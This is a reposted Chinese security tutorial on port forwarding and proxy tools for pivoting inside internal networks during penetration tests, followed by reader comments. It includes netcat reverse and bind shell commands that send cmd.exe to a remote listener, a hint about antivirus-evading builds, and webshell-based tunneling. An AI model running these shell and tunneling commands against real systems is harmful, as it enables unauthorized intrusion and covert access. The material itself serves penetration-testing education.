CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

端口转发

2018年11月18日 538点热度 0人点赞 0条评论

端口转发
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
内网渗透之端口转发与代理工具总结 Brucetg2018-05-16现金奖励共529482人围观 ,发现 16 个不明物体 WEB安全
*本文作者:Brucetg,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

理论上,任何接入互联网的计算机都是可访问的,但是如果目标主机处于内网,而我们又想和该目标主机进行通信的话,就需要借助一些端口转发工具来达到我们的目的

注:文中提到的所有工具下载地址 https://github.com/Brucetg/Pentest-tools

一、LCX
lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,

Windows版使用方法如下:

内网渗透之端口转发与代理

lcx有两大功能:

1)端口转发(listen和slave成对使用)

2)端口映射(tran)

1、lcx 内网端口转发
1.内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口

例如:

lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389
意思是把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口

2.公网主机 上执行 Lcx.exe –listen 公网主机端口1 公网主机端口2

例如:

lcx.exe –listen 4444 5555
意思是监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。

此时,RDP 连接,Windows 命令行下输入mstsc,即可打开远程桌面连接:

内网渗透之端口转发与代理

如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入 公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。

2、本地端口转发
由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,

目标主机上执行:

lcx -tran 53 目标主机ip 3389
这时我们可以直接远程桌面连接到到 目标主机IP:53

注:软件可能会被杀软查杀,可自行寻找免杀版本。

Linux版使用方法:

内网渗透之端口转发与代理

例如:

先在具有公网ip的主机上执行:

./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777
意思是监听来自6666端口的请求,将其转发到7777端口

再在内网主机上执行:

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666
意思就是将内网主机22端口的流量转发到公网主机的6666端口。

然后在Linux系统命令行下执行

ssh 公网主机ip 7777
即可连接内网主机。

二、nc 反弹
nc使用方法:

内网渗透之端口转发与代理

反向连接

在公网主机上进行监听:

nc -lvp 4444
内网渗透之端口转发与代理

在内网主机上执行:

nc -t -e cmd.exe 公网主机ip 4444
上述命令中 -t 参数是指通过telnet模式执行cmd.exe,可省略。

成功后即可得到一个内网主机的cmd shell。

正向连接

远程主机上执行:

nc -l -p 4444 -t -e cmd.exe
本地主机上执行:

nc -vv 远程主机ip 4444
成功后,本地主机就获得了远程主机的一个cmd shell。

三、socks代理工具
1). Termite 是EW(EarthWorm)的最新版,官方链接: http://rootkiter.com/Termite/

主要特性: 多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便

使用方法,以Windows平台为例:

管理端:

内网渗透之端口转发与代理

客户端:

内网渗透之端口转发与代理

客户端执行:

agent_windows_x86.exe -l 4444
管理端执行:

admin_windows_x86.exe -c 127.0.0.1 -p 4444
将新的agent加入拓扑:

agent_windows_x86.exe -c 127.0.0.1 -p 4444
具体使用方法可参考: http://rootkiter.com/Termite/README.txt

Usage

1.以服务模式启动一个agent服务。

$ ./agent -l 8888

2.令管理端连接到agent并对agent进行管理。

$ ./admin -c 127.0.0.1 -p 8888

3.此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。

help

4.通过show指令可以得到当前agent的拓扑情况。

show 0M +– 1M 由于当前拓扑中只有一个agent,所以展示结果只有 1M , 其中1 为节点的ID号, M为MacOS系统的简写,Linux为L,Windows简写为W。

5.将新agent加入当前拓扑

./agent -c 127.0.0.1 -p 8888

6.此时show指令将得到如下效果 0M +– 1M | +– 2M 这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。

7.在2节点开启socks代理,并绑定在本地端口

goto 2 将当前被管理节点切换为 2 号节点。socks 1080 此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。

8.在1号节点开启一个shell并绑定到本地端口

goto 1shell 7777 此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell.

9.将远程的文件下载至本地

goto 1downfile 1.txt 2.txt 将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt

10.上传文件至远程节点

goto 2upfile 2.txt 3.txt 将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt

11.端口转接

goto 2 lcxtran 3388 10.0.0.1 3389 以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口

视频教程:

http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4

00:0000:00

00:0000:00

00:0000:00

00:0000:00

2). reGeorg 工具地址: https://github.com/sensepost/reGeorg

reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。

使用方法(详见github):

内网渗透之端口转发与代理

3). sSocks 工具地址: http://sourceforge.net/projects/ssocks/

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14

下载解压后,执行命令编译。

./configure && make
(这里我提供的压缩包中该软件是已经编译好的!)

编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks,其功能说明介绍如下:

程序功能:

nsocks 类似通过Socks5代理后的netcat,可用来测试socks server ssocksd 用来开启Socks5代理服务 ssocks 本地启用Socks5服务,并反弹到另一IP地址 rcsocks 接收反弹过来的Socks5服务,并转向另一端口

使用示例:

公网主机上执行:

./rcsocks -l 4444 -p 5555 -vv
内网主机上执行:

./rssocks –vv –s 公网主机ip:5555
这时本地主机可以通过访问公网主机的 4444 端口访问内网主机。

4). proxychains 工具地址址:http://proxychains.sourceforge.net/

Ubuntu 下可直接执行以下命令安装:

sudo apt-get update

sudo apt-get install proxychains
Proxychains 是一款 LINUX 平台下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain 可使用不同类型的代理服务器。

网上有很多该工具的使用介绍,请自行根据需要查找。

5). Tunna 工具地址: https://github.com/SECFORCE/Tunna

该工具使用的先决条件:

能够在远程服务器上上传webshell
使用方法:

python proxy.py -u -l [options]
options:

--help, -h 显示此帮助信息并退出

--url=URL, -u URL 为远程webshel​​l的URL

--lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口

--verbose, -v 详细(输出数据包大小)

--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
No SOCKS Options:

如果使用SOCKS代理,选项将被忽略

--no-socks, -n 不使用 Socks 代理

--rport=REMOTE_PORT, -r REMOTE_PORT远程服务端口,供webshel​​l连接

--addr=REMOTE_IP, -a REMOTE_IP 远程webshel​​l连接到的地址(默认为 127.0.0.1)
上游代理选项:

通过本地代理进行隧道连接

--up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128)

--auth, -A 上游代理需要认证
高级选项:

--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)

--start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)

--cookie, -C 请求cookies

--authentication, -t 基本认证
使用方法示例:

内网主机为Windows:

python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v
其中:

-l 表示本地监听的端口

-r 远程要转发的端口

-v 详细模式

如果内网主机为Linux,则可以将22端口转发出来,更详细的使用方法请参考github上面的说明。

四、frp 内网穿透利器
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。

工具地址: https://github.com/fatedier/frp

frp 的作用

利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。

对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。

利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。

Windows平台文件目录如下:

内网渗透之端口转发与代理

其中frpc.ini和frpc_full.ini都为客户端配置文件,其中frpc_full.ini包括所有配置信息,我们可参考它来修改frpc.ini文件作为我们的配置文件,同理,frps.ini为服务器端配置文件。

frp服务端配置文件示例:

#frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000
vhost_http_port = 80
vhost_https_port = 443
dashboard_port = 7500
dashboard_user = {username}
dashboard_pwd = {password}

privilege_mode = true
privilege_token = {privilege_token}

[http]
type = http
auth_token = {auth_token}
custom_domains = {cudtom_domains}

[https]
type = https
auth_token = {auth_token}
custom_domains = {custom_domains}
实际使用时请将上述配置中的花括号处内容替换为自己的配置。比如将 {username} 替换为 admin。

启动frp服务器端:

frps.exe -c frps.ini
内网渗透之端口转发与代理

浏览器访问: 127.0.0.1:7500,输入frps.ini中配置的用户名和密码即可进入控制面板:

内网渗透之端口转发与代理

frp客户端配置示例:

#frpc.ini

[common]
server_addr = xxx
server_port = 7000
auth_token = {auth_token}
privilege_token = {privilege_token}

[http]
type = http
local_ip = 127.0.0.1
local_port = 80

[https]
type = https
local_ip = 127.0.0.1
local_port = 443

[ssh]
type = tcp
local_port = 22
remote_port = 5555
注意frp客户端和服务端的 auth_token 和 privilege_token 等要保持一致。

启动frp客户端:

frpc.exe -c frpc.ini
更多使用方法详见 https://github.com/fatedier/frp/blob/master/README_zh.md

五、ngrok 内网穿透
工具地址: https://ngrok.com/download

ngrok支持Windows、Linux、Mac OS X等多个平台,可自行选择需要的版本来下载使用

分为免费版本和收费版本:

内网渗透之端口转发与代理

使用方法:

内网渗透之端口转发与代理

这里仅简单演示下Windows平台上的使用:

首先在内网主机上执行(内网主机需安装Python):

python -m SimpleHTTPServer 8089
我这里在Windows下用Python 2.7来演示,就执行:

py -2 -m SimpleHTTPServer 8089
内网渗透之端口转发与代理

将ngrok上传至内网主机并启动ngrok:

ngrok.exe http 8089
内网渗透之端口转发与代理

这时我们只需要在浏览器中访问:

http://cdb0e21b.ngrok.io
或者

https://cdb0e21b.ngrok.io

即可通过HTTP或者HTTPS来访问内网主机上的文件。

当然ngrok还有很多其他功能,更多使用方法请参考官方文档: https://ngrok.com/docs

六、总结
目前内网渗透中一般都会用到端口转发与代理,本文也只是列出了一些常见的工具,还有很多其他工具没有涉及到,希望能给大家带来一些帮助,有错误的话也欢迎指出,dalao们请轻喷2333。

参考链接:

http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html

http://wooyun.jozxing.cc/static/drops/tools-15000.html

*本文作者:Brucetg,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

Brucetg
2 篇文章
等级: 2级
||
上一篇:简单分析SQL注入语义分析库Libinjection下一篇:端口转发流量操控工具总结
发表评论已有 16 条评论

Str3am (2级) 这个人很懒,什么也没留下 2018-05-16回复 1楼
点个赞,最近正好要学习

亮了(0)

Brucetg (2级) 2018-05-17回复
@ Str3am 感谢支持

亮了(0)

Andy.i (8级) 曾梦想仗剑走天涯,看一看世界的繁华。 2018-05-16回复 2楼
mark ~。感谢分享~

亮了(2)

Brucetg (2级) 2018-05-17回复
@ Andy.i 感谢支持~

亮了(0)

fhehehehehe 2018-05-16回复 3楼
说实话。白蚁看起来流弊。。就是bug太多了。

亮了(0)

Brucetg (2级) 2018-05-17回复
@ fhehehehehe 官方还在更新中,期待更好用的白蚁~

亮了(0)

周鸿伟 2018-05-16回复 4楼
这波工具看起来很好用,马克~

亮了(0)

小马哥 2018-05-16回复 5楼
大黑牛都用 tgcd 的哦

亮了(0)

Brucetg (2级) 2018-05-17回复
@ 小马哥 感谢安利~ tgcd官网:http://tgcd.sourceforge.net/

亮了(0)

netsh 2018-05-17回复 6楼
:!: netsh interface portproxy show

亮了(0)

Brucetg (2级) 2018-05-17回复
@ netsh :!: netsh interface portproxy add v4tov4 listenport=8080 connectaddress=x.x.x.x connectport=9090

亮了(0)

谦逊的阿狸先生 专栏作者(3级) 2018-06-06回复
@ Brucetg 你们两位是真的皮,iptables -t nat -L -n –line-numbers :!:

亮了(0)

weber213 (4级) 2018-05-17回复 7楼
666

亮了(0)

谦逊的阿狸先生 专栏作者(3级) 2018-06-06回复 8楼
http://rootkiter.com/ 很好的总结。

亮了(0)

phyb0x 2018-06-16回复 9楼
学习了 学习了

亮了(0)

rogertong (1级) 2018-08-16回复 10楼
我写了个通过互联网进行端口转发的工具,大家也可以试用一下

https://github.com/rogertong1981/portroute/releases/

亮了(0)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我

Brucetg

这家伙太懒,还未填写个人描述!

2
文章数
10
评论数
最近文章
Android App渗透测试工具分享
2018.09.07

内网渗透之端口转发与代理工具总结
2018.05.16

浏览更多
相关阅读
TEST LAB V8在线渗透实验室教程(四)TEST LAB V8(二):Cisco设备和Terminal系统浅谈内网渗透Cobalt strike在内网渗透中的使用利用“数学建模-图论模型”进行自动化内网渗透测试
特别推荐

关注我们 分享每日精选文章

活动预告
11月

FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月

【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月

【首节课仅需1元】挖掘CVE不是梦
已结束
9月

【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php0daybank

标签: 暂无
最后更新:2018年11月18日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me